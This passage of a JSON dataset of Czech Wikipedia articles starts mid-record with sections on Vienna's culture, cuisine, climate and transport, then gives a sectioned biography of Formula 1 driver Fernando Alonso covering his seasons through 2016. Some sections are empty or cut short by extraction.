filosofů Karla Poppera, Ludwiga Wittgensteina, ekonomů tzv. vídeňské školy (Eugen von Böhm-Bawerk, Ludwig von Mises, Friedrich August von Hayek), psychologů Sigmunda Freuda, Alfreda Adlera nebo Viktora Frankla, fyziků Erwina Schrödingera, Ludwiga Boltzmanna či Ernsta Macha nebo inženýra Viktora Kaplana. Od roku 1867 do roku 1882 studoval, bydlel a působil ve Vídni Tomáš Garrigue Masaryk. Značnou část svého života ve Vídni strávili spisovatelé a spisovatelky Ingeborg Bachmannová, Thomas Bernhard, Elias Canetti, Elfriede Jelineková, Karl Kraus, Robert Musil, Heimito von Doderer, Franz Grillparzer nebo Stefan Zweig.", "Vídeň je charakteristická svou specifickou kuchyní vzniklou v dobách mnohonárodnostní monarchie, kdy každá z národnostních menšin rozšířila zdejší jídelníček. Z Maďarska byly v upravené podobě přejaty guláš a palačinky. Z českého prostředí, které mělo kromě italské kuchyně největší vliv, pocházejí koláče, buchty a knedlíky. Mezi typické pokrmy patří i vídeňský řízek. Stánky na ulicích nabízejí velký výběr párků a klobás, v poslední době obohatili Vídeň mj. Turci a Bosňáci rychlým občerstvením tureckého a arabského typu (kebab, burek, falafel). Jednou z největších vídeňských atrakcí je světoznámý zábavní park Prátr, který byl založen 7. dubna 1766, když císař Josef II. otevřel bývalý lovecký revír pro veřejnost. V roce 1897, před 50. výročím nástupu císaře Františka Josefa I. na trůn, bylo postaveno obří vyhlídkové kolo \"Riesenrad\". Jako součást oslav bylo hercům, kejklířům a komediantům dovoleno postavit si v parku své stany. Pro občerstvení návštěvníků vzniklo také mnoho stánků. Mnozí provozovatelé atrakcí v parku zůstali a vytvořili tak základ pro dnešní Prátr. Typický pro Vídeň je také výskyt tržnic v ulicích i na náměstích, specializovaných zejména na prodej ovoce a zeleniny. Oblíbené jsou i bleší trhy. Zejména na turisty se zaměřuje trh Naschmarkt. Hlavní obchodní třídou je Mariahilfer Straße. Kulturní podnik svého druhu představují i vídeňské kavárny, od 19. století dějiště intelektuálního života. Kromě nabídky novin bývá ke kávě podáván i čokoládový dort, nazvaný podle svého tvůrce Sacher. V čtvrtích na svazích západních vídeňských okresů, které jsou dodnes významnou vinařskou oblastí, se těší značné oblibě malé vinné lokály zvané Heurige.", "V zimě časté sněžení a někdy bývají i mrazy pod -10 °C. Jaro začíná koncem února a končí uprostřed května, počasí je silně proměnlivé. Mohou být mrazy, ale i letní horka. Léto je často i velmi teplé a suché. Podzim přichází koncem září. Začátek i střed podzimu je charakteristický častými návraty teplého a suchého počasí. Koncový podzim přechází v mírnou zimu koncem listopadu. Vídeň je dosti slunečné místo ve všech ročních obdobích. Nejnižší teplota naměřená ve Vídni byla -26 °C a vůbec nejvyšší byla 38,3 °C.", "Ve městě hraje velké množství fotbalových klubů mezi ty nejznámější patří: Ve městě hraje velké množství hokejových klubů. Mezi ty nejznámější patří: Ve městě se konalo spoustu sportovních akcí. Mezi nejvýznamnější akce,které se zde konaly patří:", "Podle statistiky z roku 2007 se 35 % přepravy ve Vídni odehrálo prostřednictvím veřejné dopravy, 32 % automobilem, 28 % pěšky a 5 % na kole. Páteří vídeňské městské hromadné dopravy je metro (\"U-Bahn\") a městská železnice (\"S-Bahn\"), jejíž počátky spadají na začátek 20. století. Tato základní síť je doplněna tramvajemi (od roku 1865) a autobusy (od 1907). V rakouském hlavním městě existovalo v průběhu 20. století také několik samostatných trolejbusových tratí. Všechny prostředky hromadné přepravy používají jednotný tarif a jsou provozovány převážně firmami Wiener Linien, ÖBB, Badner Bahn a také řadou soukromých autobusových dopravců. Dálkovou veřejnou dopravu zajišťuje železniční síť, která vznikla převážně ještě v době rakousko-uherské monarchie. Do Vídně se paprskovitě sbíhaly tratě z celého území tehdejší říše, což bylo důvodem existence několika hlavových nádraží. Situace se změnila mezi roky 2009 a 2015, kdy bylo zbořeno největší hlavové nádraží Südbahnhof a přibližně v jeho místech vyrostlo nové nádraží Wien Hauptbahnhof (Vídeň hlavní nádraží). Od prosince 2015 sem zajíždějí veškeré dálkové vlaky státních drah ÖBB. Do té doby významné nádraží Westbahnhof slouží jen pro regionální dopravu ÖBB a pro jednoho soukromého přepravce (WestBahn). Automobilová doprava využívá jako vnitřní okruhy Ringstraße a Gürtel, pro dálkovou přepravu slouží dálniční síť a budovaný obchvat města. Tok Dunaje překonává celkem 35 mostů. Podíl individuální automobilové přepravy je městskou správou cíleně omezován ve prospěch hromadných dopravních prostředků. Ve městě je budována síť půjčoven jízdních kol Citybike. Spolu s výstavbou husté sítě vyhrazených cyklistických tras a zklidňováním dopravy díky zavádění jednosměrného provozu postupně zvyšuje podíl cyklistiky na celkové dopravě v rámci města. Jihovýchodně od Vídně se nachází mezinárodní letiště Wien-Schwechat, domovská stanice \"Rakouských aerolinií\". Nízkorozpočtové linky odlétají z nedalekého letiště v Bratislavě. S Bratislavou a Budapeští je Vídeň propojena také lodní dopravou.", "Ve Vídni je sídlo mnoha mezinárodních organizací. Nejvýznamnější je úřadovna OSN, ve které sídlí následující organizace:" ] }

{ "title": [ "Osobní život.", "Kariéra před formulí 1.", "Formule 1.", "2001: Minardi.", "2002–2006: Renault.", "2002–2003.", "2004.", "2005.", "2006.", "2007: McLaren.", "2008–2009: Renault.", "2010–2014: Ferrari.", "2012.", "2013.", "2014.", "2015–: McLaren.", "2015.", "2016.", "Kompletní výsledky ve Formuli 1." ], "section_level": [ "1", "1", "1", "2", "2", "3", "3", "3", "3", "2", "2", "2", "3", "3", "3", "2", "3", "3", "2" ], "content": [ "Fernando Alonso se narodil 29. července 1981 v Oviedu, v provincii Asturie, v severním Španělsku. Jeho matka pracovala v obchodním domě a jeho otec byl zaměstnán jako expert na výbušniny v těžebním průmyslu. Alonso má starší sestru Lorenu. Alonsův otec José Luis byl amatérským motokárovým jezdcem a přál si, aby jeho děti pokračovaly v jeho stopách. Sestrojil jim motokáru, nejprve určenou pro tehdy osmiletou Lorenu, která ale o motokáry příliš zájem nejevila, oproti tříletému Fernandovi. Fernando se 17. listopadu 2006 oženil s Raquel del Rosario Macías, zpěvačkou španělské popové skupiny El Sueňo de Morfeo.", "Jako dítě objížděl Fernando se svým otcem, který mu byl rovněž mechanikem, motokárové závody po Španělsku. Alonsova rodina neměla příliš peněz, ale Fernandovy výsledky znamenaly, že se o něj zajímali sponzoři a o peníze bylo postaráno. Fernando čtyřikrát vyhrál Španělský šampionát v juniorské kategorii v letech 1993, 1994, 1995 a 1996. Také vyhrál Juniorský světový pohár v roce 1996. Dále vyhrál Španělský a Italský Inter-A titul v roce 1997 a skončil druhý v Evropském šampionátu roku 1998. V témže roce znovu vyhrál Španělský Inter-A titul. Bývalý formulový jezdec týmu Minardi, Adrián Campos, dal v říjnu 1998 Fernandovi šanci vyzkoušet si závodní vůz. Po třech dnech testování měl Alonso srovnatelné časy s Camposovým předchozím závodníkem Marcem Geném. Campos poté dal Fernandovi šanci závodit pro něj roku 1999 ve Španělské Formuli Nissan. Hned ve druhém závodě Alonso zvítězil. Bylo to na okruhu Albecete, kde v roce 1998 testoval. V posledním závodě potřeboval Alonso vyhrát a zajet nejrychlejší kolo, aby porazil Manuela Giaoa, který s ním soupeřil o titul. To se Alonsovi podařilo a titul získal. Alonso se poté chopil příležitosti testovat tým Minardi ve formuli 1. Tam si ho všiml sportovní ředitel Cesare Fiorio, když Fernando zajížděl o 1,5 sekundy rychlejší časy než ostatní jezdci, kteří testovali pro Minardi. Následující sezónu se Alonso dostal do Formule 3000, která obvykle byla posledním krokem před vstupem do Formule 1. Alonso se připojil k týmu Astromega a v tomto roce byl také nejmladším pilotem (o 11 měsíců), který ve formuli 3000 závodil. V prvních sedmi závodech nezískal Alonso ani bod, avšak v posledních dvou závodech skončil jednou druhý a jednou vyhrál. Celkově skončil čtvrtý za Brunem Junqueirou, Nicolasem Minassianem a Markem Webberem.", "", "Alonso byl třetím nejmladším pilotem, který kdy ve formuli 1 startoval, když si odbyl svůj debut v Minardi 4. března 2001 na australském okruhu v Melbourne. Minardi odstartovalo do nové sezóny s novým vlastníkem Paulem Stoddartem a také s novým vozem Minardi PS01. Alonso se ukázal jako rychlý pilot hned ve své první kvalifikaci, kde porazil týmového kolegu Tarso Marquese o 2,6 sekundy. Už ve čtvrté kvalifikaci v Imole porazil oba Benettony, což zopakoval i v další části sezóny. Za své výkony v roce 2001 si ho začínaly všímat i lepší týmy. V září 2001 po závodech v Evropě se Sauber poohlížel po jezdci, který by nahradil odcházejícího Kimiho Räikkönena. Sauber se ale též zajímal o Felipeho Massu, nadějného Brazilce a též o testovacího jezdce Jaguaru Andre Lotterera. O měsíc později bylo potvrzeno, že v roce 2002 usedne do kokpitu Sauberu Felipe Massa. V září téhož roku začal Alonsův manažer Flavio Briatore plánovat, že by Fernando mohl jezdit za Benetton. Briatore zvažoval, že by v roce 2002 mohl Alonso nahradit Jensona Buttona, ale nakonec se rozhodl, že Alonso bude oficiálním testovacím jezdcem Renaultu pro rok 2002. V posledním závodě roku 2001 v Suzuce skončil Alonso jedenáctý, tenkrát pět míst za bodovaným umístěním. Ale porazil Heinze-Haralda Frentzena (z týmu Prost), Oliviera Panise (BAR), oba jezdce týmu Arrows a Alexe Yoonga, který nahradil v Minardi Tarsa Marquese.", "", "Alonso se v roce 2002 stal testovacím jezdcem týmu Renault (dříve Benetton) a najezdil za celý rok 1642 kol. Také testoval pro tým Jaguar. V roce 2003 Briatore propustil Buttona a Alonsa posadil do druhého vozu vedle jedničky týmu Jarna Trulliho. Španěl se stal v roce 2003 nejmladším jezdcem, který získal pole position, na okruhu v Malajsii. V závodě v Brazílii měl Alonso těžkou nehodu, kde v dvousetkilometrové rychlosti havaroval, když vrazil do zbytků vozu Marka Webbera, který havaroval těsně před ním. Závod byl poté zastaven. O dva závody později skončil Alonso při své domácí Grand Prix Španělska druhý a poté se stal nejmladším jezdcem, který vyhrál závod, když zvítězil ve Velké Ceně Maďarska. Celkově skončil v roce 2003 na šestém místě, získal 55 bodů a čtyřikrát stanul na stupních vítězů.", "Alonso zůstal u Renaultu i pro rok 2004. Po začátku sezóny byl Alonso trochu zpochybňován, když byl v kvalifikacích většinou porážen stájovým kolegou Jarnem Trullim. Alonso předvedl slušný výkon ve velké ceně Francie, kde získal nejdříve pole position a o vítězství ho nakonec připravila jen fantastická taktika Ferrari a Michaela Schumachera se čtyřmi zastávkami. Naopak Trulliho výsledky se začaly zhoršovat a tak ho Renault propustil a místo něj posadil do závodní sedačky šampióna z roku 1997, Jacquese Villeneuva. Alonso nakonec v šampionátu skončil čtvrtý s 59 body.", "V roce 2005 se k týmu Renault připojil Ital Giancarlo Fisichella. Alonso si vybojoval cestu k vrcholu v prvním závodě v Austrálii, kde skončil třetí po startu ze zadních pozic. V druhém závodě v Malajsii si vyjel pole position a závod vyhrál. Stejně tak dopadl i v závodě v Bahrajnu. Také vyhrál závod v San Marinu po 13 kolové bitvě se sedminásobným šampiónem Michaelem Schumacherem. Ve Španělské Velké Ceně skončil Fernando druhý za Kimim Räikkönenem. Zlepšující se McLaren s Räikkönenem dokázal vyhrát i v Monaku, kde skončil Alonso až čtvrtý po problémech s pneumatikami. Jeden z nejzajímavějších momentů sezóny se odehrál při Grand Prix Evropy, kdy v posledním kole odstoupil Räikkönen po problémech s pneumatikou a Alonsovi spadlo vítězství vyloženě do klína. V Kanadské Grand Prix udělal Alonso chybu a ve Villeneuvově zatáčce skončil ve zdi. Trochu se na tom podepsal i tlak, který na něj vyvíjely v závodě oba McLareny Juana Pabla Montoyi a Kimiho Räikkönena. Ve Velké Ceně USA po doporučení Michelinu Alonso stejně jako všichni jezdci na těchto pneumatikách nestartoval. Třetí pole position a páté vítězství si Alonso připsal ve Velké Ceně Francie. Nejrychlejší v kvalifikaci byl i o týden později v Britské Velké Ceně, dojel však druhý za Montoyou. Špatná spolehlivost McLarenů garantovala Alonsovi vítězství v Grand Prix Německa, kde Räikkönen odstoupil po potížích s hydraulikou. Dva dny před Grand Prix Maďarska oslavil Fernando své 24. narozeniny. Závod ale pro něj moc dobrý nebyl. Kvalifikoval se jako šestý a v závodě skončil jedenáctý po kolizi s Ralfem Schumacherem v první zatáčce. V Grand Prix Turecka bral Alonso druhé místo, když v závěru závodu vylétl Montoya mimo trať. V italské Monze byl v kvalifikaci Alonso třetí, v závodě druhý za Montoyou. V Belgické velké ceně dojel Fernando taktéž druhý, když postoupil vzhůru po kolizi Antonia Pizzonii a Juana Pabla Montoyi. Fernando Alonso vybojoval pole position i ve velké ceně Brazílie, skončil třetí, což mu ale stačilo k zisku titulu mistra světa. Stal se mistrem světa v 24 letech a 58 dnech, čímž překonal rekord Emersona Fittipaldiho. Taktéž ukončil pětiletou dominanci Michaela Schumachera. Alonso vedl šampionát od druhého závodu a poté už před sebe nikoho nepustil. Po zisku titulu uvedl: „Chtěl bych tento titul věnovat mé rodině, a všem blízkým přátelům, kteří mě podporovali v mé kariéře. Španělsko není země s kulturou F1, proto jsme museli bojovat sami za každý krok k zisku tohoto titulu. Velké poděkování patří samozřejmě také týmu, který je nejlepší ve Formuli 1 a se kterým jsme společně všechno zvládli. Bude se říkat, že já jsem šampiónem, ale my všichni jsme šampióni a všichni si to zaslouží“. V květnu 2007 uvedl Alonso pro časopis F1 Racing, že velká cena Brazílie 2005 byla pro něj největším závodem. Řekl: „Byl to sen, který se stal skutečností a také velmi emocionální den. V posledních kolech mi už asi vážně přeskočilo, slyšel jsem hluk z motoru snad všude. Ale všechno bylo v pořádku a já si pamatuji tu úlevu, kterou jsem cítil po projetí cílovou čárou“. V Japonské a Čínské Velké Ceně už nebyl znát ten opatrný styl, který byl evidentní v Brazílii, kdy Alonso ještě bojoval o titul. Přestože startoval Alonso šestnáctý, skončil v závodě třetí za vítězem závodu Kimim Räikkönenem, který startoval dokonce až sedmnáctý a zvítězil po předjetí Giancarla Fisichelly v posledním kole. V Čínské velké ceně si Renault pojistil vítězství v poháru konstruktérů. Většina fanoušků F1 prohlašovala, že Kimi Raikkonen byl nejlepším jezdce roku 2005, když vyhrál stejný počet závodů jako Fernando Alonso, neboť McLaren s Räikkönenem se potýkal s problémy se spolehlivostí vozu. Roku 2005 získal též Fernando Alonso cenu Prince z Asturie za sportovní výsledky.", "Alonsova další sezóna v Renaultu odstartovala těsným vítězstvím před Michaelem Schumacherem v Grand Prix Bahrajnu, kde Alonso Schumachera předjel osmnáct kol před cílem po zastávce v boxech. V kvalifikaci byl čtvrtý. V další kvalifikaci v Malajsii měl Alonso problémy s tankováním a startoval ze sedmého místa, a nakonec skončil druhý za svým týmovým kolegou Fisichellou po velmi dobrém startu, kdy předjel hned 4 soupeře. V Australské Velké ceně Alonso vyhrál po předjetí Jensona Buttona na Hondě. Po nevydařené kvalifikaci v San Marinu, nebyl Alonso schopen předjet Michaela Schumachera v závodě. V podstatě se opakovalo to, co v sezóně 2005, akorát že Němec držel Alonsa za sebou dvakrát delší dobu, než Fernando držel Michaela v loňském závodě. Schumacher se kvalifikoval až čtrnáctý, ale téměř ihned se dostal na špici. V Grand Prix Evropy si Alonso vyjel pole position před Michaelem Schumacherem, ten ho ale po zastávce v boxech předjel a Fernando se musel spokojit se druhým místem. 14. května 2006 vyhrál Fernando Alonso Grand Prix Španělska a stal se prvním Španělem, který dokázal vyhrát na domácí trati. Jubilejní 12. vítězství a 12. pole position si Alonso zajistil v Monaku, kde získal první místo v kvalifikaci až po penalizování Michaela Schumachera, který odstavil svůj vůz tak, že nikdo nebyl schopen zajet pořádný čas. Alonso dominoval i ve Velké ceně Británie, kde opět vyhrál kvalifikaci i závod. Bylo to poprvé, kdy Alonso získal tzv. „triple“, což znamená, že vyhrál kvalifikaci, závod a zajel nejrychlejší kolo v závodě. V Kanadě si vyjel páté pole position v sezóně a závod také vyhrál. V Grand Prix USA skončil v kvalifikaci pátý a na stejné pozici dojel i v závodě. Schumacher svým vítězstvím stáhl Alonsův náskok z 25 bodů na 19. Schumacher vyhrál i velkou cenu Francie, Alonso byl druhý. Ve Velké ceně Německa skončil Fernando až pátý, oba Renaulty v tomto závodě nebyly příliš konkurenceschopné. Po dvousekundové penalizaci v Grand Prix Maďarska se Alonso kvalifikoval až jako patnáctý. Jeho rival ale dostal stejný trest a startoval jedenáctý. Fernando se ihned dral ke špici závodu a předjížděl jednoho jezdce za druhým včetně Schumachera a dokázal, že umí jezdit i na mokru. Avšak závod nedokončil kvůli mechanickým potížím. Schumacher skončil osmý, po diskvalifikaci Roberta Kubici a stáhl tak bod z náskoku Alonsa. V následujícím závodě v Turecku dojel Alonso druhý před třetím Schumacherem, po dlouhé třináctikolové bitvě. V Italské Grand Prix měl Alonso smůlu při kvalifikaci, kdy mu praskla pneumatika a také poničil karosérii na zádi svého šasi. Kvalifikoval se jako pátý, ale stewardy byl odsunut na desáté místo, když měl údajně blokovat Felipeho Massu z Ferrari. V závodě se Španěl probojoval na třetí místo, když díky zastávkám v boxech předjel Massu a také Roberta Kubicu. Zradil ho však motor a Alonso musel ze závodu odstoupit. Michael Schumacher závod vyhrál a stáhl Alonsův náskok na pouhé 2 body. V dalším závodě v Číně si v mokré kvalifikaci vybojoval Alonso pole position. Při nestálém počasí v závodě nejprve Alonso vedl, ale kvůli špatné druhé sadě pneumatik dojel Alonso druhý za Schumacherem a bodový stav se vyrovnal, přesto byl Alonso až druhý díky Schumacherově vítězství navíc. V Japonské Grand Prix se obě Ferrari Schumacher a Massy kvalifikovaly na prvním a druhém místě a porazily Renaulty na pátém a šestém místě o více než půl sekundy. Dlouho Alonso jezdil druhý a měl na Schumachera ztrátu 5 sekund. Potom Schumacherovi selhal motor a musel odstoupit. Alonso nakonec zvítězil a před posledním závodem měl náskok 10 bodů. V poslední velké ceně mu tak stačil k zisku titulu mistra světa jediný bod. V Grand Prix Brazílie, posledním závodě sezóny 22. října, dojel Alonso druhý za Felippem Massou. Schumacher skončil čtvrtý a výsledný rozdíl mezi ním a Alonsem byl tak 13 bodů. Fernando Alonso se stal nejmladším dvojnásobným šampiónem v historii. Tým Renault zvítězil i v poháru konstruktérů, kde porazil Ferrari o 5 bodů.", "Už 19. prosince 2005 bylo oznámeno, že v roce 2007 bude Alonso jezdit za tým McLaren. Alonsova smlouva s Renaultem vypršela 31. prosince 2006, přesto už 15. prosince Alonso po svolení Flavia Briatoreho a týmu Renault testoval pro McLaren na okruhu v Jerezu. Fernando jel v neoznačeném voze McLaren MP4-21, na hlavě měl bílou přilbu a objel 95 kol, nastaly však potíže s měřením a tak Alonsovy časy nejsou zcela ověřené a přesné. Jako Alonsův stájový kolega byl vybrán Lewis Hamilton. McLaren oznámil, že Alonsův plat pro rok 2007 bude asi 20 milionů liber (v přepočtu 39 milionů dolarů). S novým McLarenem debutoval Alonso oficiálně 15. ledna 2007 v ulicích Valencie. Alonso se též projel v limitované edici auta Mercedes-Benz SLR McLaren. Španěl označil toto auto za „nejkrásnější na světě“. McLareny už v Austrálii ukázaly svou konkurenceschopnost a Alonso a Hamilton dojeli na druhém a třetím místě. Alonso v druhém závodě sezóny v Malajsii získal své první vítězství pro McLaren a pro tým první od velké ceny Japonska 2005. Obtížná jízda v Bahrajnském Sakhiru znamenala pro Alonsa až páté místo, zatímco jeho stájový kolega Hamilton opět dojel na stupních vítězů. Ve čtvrtém závodě, na domácí trati ve Španělsku, se Alonso kvalifikoval jako druhý. V prvním kole měl kontakt s Felipem Massou, což mělo za následek drobné poničení vozu, přesto dojel Alonso třetí. V dalším závodě se ale Alonsovi opět dařilo, tentokrát v ulicích Monaka, kde Fernando vybojoval druhé vítězství v sezóně, pole position i nejrychlejší kolo, tzv. „triple“. V další části sezóny pokračoval Alonso v umístěních na bodovaných příčkách a závody v Evropě a v Itálii vyhrál. První a též poslední výpadek v sezóně zaznamenal Fernando v Japonsku. V předposledním závodě, v Číně, dojel druhý a před posledním závodem ztrácel na lídra šampionátu, Lewise Hamiltona, 4 body. V Brazílii tak měl ještě šanci dosáhnout na titul mistra světa. To se mu ale nepovedlo, Hamilton sice skončil až na 7. místě, které mu titul mistra světa nezaručovalo, nicméně Alonso dojel až třetí za Massou a Räikkönenem, který nakonec \"vyfouknul\" titul jezdcům McLarenu. Hamilton Alonsa nakonec porazil, kdy již od VC Kanady byl ve vedení a ve vedení před ním až do konce sezóny zůstal, tj. nováček Hamilton porazil dvojnásobného mistra světa, na obhájce titulu Alonsa tedy zbyla až třetí pozice. Po mimořádně kontroverzní sezoně Alonsa 2. listopad vedení týmu McLaren oznámilo rozvázání smlouvy s Alonsem, která měla platit do roku 2009. Navíc Alonso nemusí za uvolnění ze smlouvy zaplatit žádné peníze, kdy ale jeho odchod z týmu zdaleka nebyl dobrovolný.", "Po nedobrovolném ukončení spolupráce s McLarenem media spekulovala, za který tým bude Alonso závodit v sezoně 2008. Mluvilo se o Renaultu, Red Bullu, Toyotě a Hondě. Nakonec se Fernando vrátil do Renaultu, se kterým podepsal smlouvu na 2 roky, za zhruba 25 milionu liber. Před sezónou byl sice Alonso pasován do role černého koně, ale první závod všechny ambice vyvrátil, když dojel na šťastném 4. místě, ale rychlostně Renault nestačil. V Malajsii vybojoval pouhý bod. V Bahrajnu, kde na nekonkurenceschopný vůz Fernanda Alonsa nejprve najel Lewis Hamilton, dosáhl Alonso s Renaultem na 10. místo. Do Španělska přivezl tým aerodynamické novinky,které okamžitě pomohly Alonsovi do první řady v kvalifikaci. Start už tak dobrý nebyl, a Alonso se tak propadl na třetí místo za obě Ferrari. Vedl si skvěle, dokud ho nezastavila porucha motoru, po které musel odstoupit z výborně rozjetého závodu. V Turecku na Alonsa čekalo 6. místo čili potvrzení faktu,že se Renault zlepšil. Nebýt problémů s pneumatikou v Monaku a poté také kolize s Heidfeldem mohl Alonso pomýšlet na velmi dobré umístění. V bláznivém závodu v Kanadě mohli u Renaultu díky Alonsovi pomýšlet dokonce na vítězství, ale strategie a velké zdržení za Nickem Heidfeldem mělo za následek maximální úsilí dostat se před pomalejší vůz BMW, že to vyústilo v havárii a konec v závodě. Ve Francii startoval Španěl z výborné třetí pozice, ale nakonec se během závodu propadl až na konečné osmé místo, když ho pár kol před koncem předjel jeho kolega Piquet. Silverstone přinesl dobré i špatné výsledky během deštivého závodu, což znamenalo šestou příčku v cíli. Stejně jako v Mangy-Cours i na Hockenheimringu svitla po výborné kvalifikaci naděje na dobrý výsledek, ale katastrofální průběh se spoustou chyb nepřinesl do tábora Renaultu z Alonsovy strany ani bod, zatímco Piquet jich za druhé místo přivezl hned osm. Trať v maďarském Hungaroringu pomohla Alonsovi většinu závodu za sebou držet rychlejšího Räikkönena a odměnou mu byla čtvrtá pozice. Do konce sezóny Alonso přece jen vyhrál 2 GP (Singapur a Japonsko), VC Singapuru po kontroverzním průběhu (díky úmyslné havárii týmového kolegy Nelsona Piqueta, která způsobila výjezd Safety Caru, kterého Alonso využil při pitstopu), a v posledním závodě (Brazílie) získal druhé místo.", "30. 9. 2009 podepsal Fernando smlouvu s Ferrari na 3 sezóny do roku 2012 za cca 25 mil. euro za sezónu, stal se tak v sezóně 2010 nejdražším platícím pilotem ve startovním poli (a v historii F1). Začal vítězstvím v úvodním závodě v Bahrajnu po technických problémech Sebastiana Vettela, ale v dalších závodech již nestačil. Držel se stále v boji o titul, ale opět si znepřátelil některé fanoušky, po použití týmové režie v Německu. Poté ale ukázal, že dokáže stále držet krok s těmi nejlepšími. Před posledním závodem v Abú Dhabí vedl pořadí před Markem Webberem a Sebastianem Vettelem, kteří měli ještě reálnou šanci na zisk titulu. Ferrari se ale zaměřilo pouze na Webbera nikoli na Vettela, tudíž když Webber zavadil o vozidla a jel ke svému pitstopu, rozhodlo se Ferrari, že nejdříve pošle Felipeho Massu, aby zjistili jak je to s pneumatikami a po dalších 2 kolech zastavil u svých mechaniků také Alonso. Vrátil se do závodu za rusem Vitalyem Petrovem, který absolvoval svůj pit stop po kolizi v 1. kole. Jenomže Alonso ho do konce závodu nedokázal předjet a dojel na 7.místě, Mark Webber zůstal zaseklý za touto dvojcí a byl až 8. Díky těmto výsledkům si Sebastian Vettel stylem start-cíl dojel nejen pro vítězství v závodě, ale i v celém šampionátu.", "Po dvanáctém místě v kvalifikaci na Grand Prix Austrálie obsadil pátou příčku. Po devátém místě v kvalifikaci malajsijskou velkou cenu vyhrál. Devátý skončil i v kvalifikaci na Velkou cenu Číny a také v závodě obsadil deváté místo. Z deváté pozice na startu Grand Prix Bahrajnu obsadil sedmou příčku. Po startu ze druhého místa bojoval s Pastorem Maldonadem o vítězství v Grand Prix Španělska, ovšem po druhé zastávce v boxech se vedení ujal Venezuelan a zaslouženě vyhrál. Po startu z pátého místa přitlačil Romaina Grosjeana ke svodidlům, v průběhu závodu se probojoval na konečné třetí místo a ujal se vedení šampionátu. Do konce sezony nedojel 2 závody. Ve Spa, kde mu vůz Romaina Grosjeana proletěl před hlavou a zadní část vozu mu zničil Lewis Hamilton. V Suzuce se vyřadil sám vlastní chybou, kdy hned po startu vyjel z trati. Ale všechny fanoušky nadchl svými výkony, kdy s podřadným Ferrari držel naději na titul až do úplného konce. V Brazílii musel dojet na pódiu, aby měl alespoň malou šanci na zisk titulu, ale Sebastian Vettel dojel 6., což mu zaručilo 3. mistrovský titul v řadě, tentokrát nejmenším rozdílem o 3 body.", "Alonso začal novou sezónu druhým místem v Grand Prix Austrálie. V dalším závodě v Malajsii se Alonso kvalifikoval třetí, ale po startu narazil do zádě Red Bullu Vettela a poničil si přední křídlo. Alonso si však pro nové do boxů nezajel, doufal, že se neulomí úplně a bude moci zajet do boxů ve správnou dobu později v závodě. Jenže křídlo se ulomilo hned v druhém kole a Alonso musel odstoupit. Hned v dalším závodě v Číně vyhrál. Do jeho domácí Velké ceny Španělska se kvalifikoval na pátém místě. V závodě se dokázal dostat na první místo a nakonec dokázal vyhrát. V Monaku dojel až sedmý. V následujících dvou závodech byl na stupních vítězů: v Kanadě druhý a ve Velké Británii třetí. Když však v půlce sezóny Pirelli představilo nové gumy, Red Bull s Vettelem začali být neporazitelní. Vettel vyhrál posledních 9 závodů, zatímco Alonso měl problém dojet aspoň na stupních vítězů. Nakonec se opět stal vicemistrem s 242 body, o 155 méně, než měl šampion Vettel.", "Hned po prvním závodě bylo jasné, že Ferrari je nekonkurenceschopné. Alonso však dokázal dělat divy a v prvních dvou závodech dojel čtvrtý. První pódium přišlo ve čtvrtém závodě v Číně, kde Alonso skončil třetí. Další úspěch přišel až o sedm závodů později v Maďarsku, kdy Alonso část závodu vedl a v posledních kolech odolával útokům ze strany Daniela Ricciarda z Red Bullu a obou Mercedesů Lewise Hamiltona a Nico Rosberga. Ricciardo ho však dokázal předjet a tak Alonso skončil druhý. Do konce sezóny se Alonso na pódium už nedostal. Skončil na celkovém šestém místě s 161 body, kdy naprosto \"rozdrtil\" svého týmového kolegu Kimiho Raikkonena, který měl bodů jen 55.", "", "V listopadu 2014 bylo oznámeno, že Alonso u Ferrari končí. V prosinci Alonso oznámil, že s vrací k McLarenu, nyní poháněným motorem Honda. Během druhého dne předsezónních testů v Barceloně Alonso havaroval. Byl letecky převezen do nemocnice, kdy mu byl zjištěn otřes mozku. Bylo mu doporučeno vynechat první závod sezóny v Austrálii, což také udělal. Byl nahrazen Kevinem Magnussenem. V Austrálii se McLaren velmi trápil, zatímco Alonsův bývalý tým Ferrari skončil na pódiu díky třetímu místu Sebastiana Vettela, který Alonsa ve Ferrari nahradil. Na to Alonso zareagoval tím, že řekl, že po 14 letech ve Formuli 1 není spokojen s pódii, ale že je připraven riskovat, aby vyhrával. V Malajsii, prvním závodě sezóny pro Alonsa, se mu porouchalo auto a musel odstoupit, zatímco Vettel s Ferrari vyhrál. Alonso se vyjádřil i k této události, když řekl, že od Ferrari odešel, přestože mu slibovali, že auto pro rok 2015 bude mnohem lepší než to z minulého roku, ale on to Ferrari už nevěřil. Taky řekl, že by přestupu litoval jen tehdy, kdyby Ferrari nakonec vyhrálo titul. V dalším závodě v Číně opět dojel mimo body, ale tvrdil, že je šťastný z toho, že dojel a tím se mu podařilo získat informace podstatné pro vývoj auta. Z dalších čtyř závodů odstoupil, kvůli problémům s nespolehlivým motorem Honda. V Grand Prix Velké Británie bral Alonso první bod za desáté místo. Hned v následujícím závodě v Maďarsku bral Alonso další body za páté místo. V dalších závodech už se mu však bodovat nepodařilo. Sezónu tedy dokončil s pouhými 11 body na celkovém 17. místě.", "Během Grand Prix Austrálie Alonso kolidoval s Haasem Estebana Gutiérreze. Jednalo se o jednu z nejtěžších havárií za poslední léta. Vyvázl se zlomeninami žeber a částečným selháním plic. Vzhledem ke zraněním byl nucen vynechat další Velkou cenu v Bahrajnu, kde byl nahrazen Stoffelem Vandoornem. Vrátil se na Grand Prix Číny, kde dojel dvanáctý. V dalším závodě v Rusku dojel šestý. V kvalifikaci na Grand Prix Španělska se Alonso dostal do třetí části kvalifikace, poprvé od spojení McLarenu a Hondy v roce 2015, v závodě však odstoupil. V Monaku se opět probojoval do třetí části kvalifikace a po penalizaci Raikkonena startoval 9. V závodě dojel 5., čímž vyrovnal jeho nejlepší výsledek pro McLaren poháněný Hondou z Maďarska v roce 2015. V Kanadě se během kvalifikace opět dostal do třetí části, potřetí za sebou, v závodě však dojel těsně mimo body, skončil totiž jedenáctý. Z následující Grand Prix Evropy odstoupil.", "Tučně – Pole position \"Kurzívou\" – Nejrychlejší kolo závodu <div style=\"float:left;\"" ] }

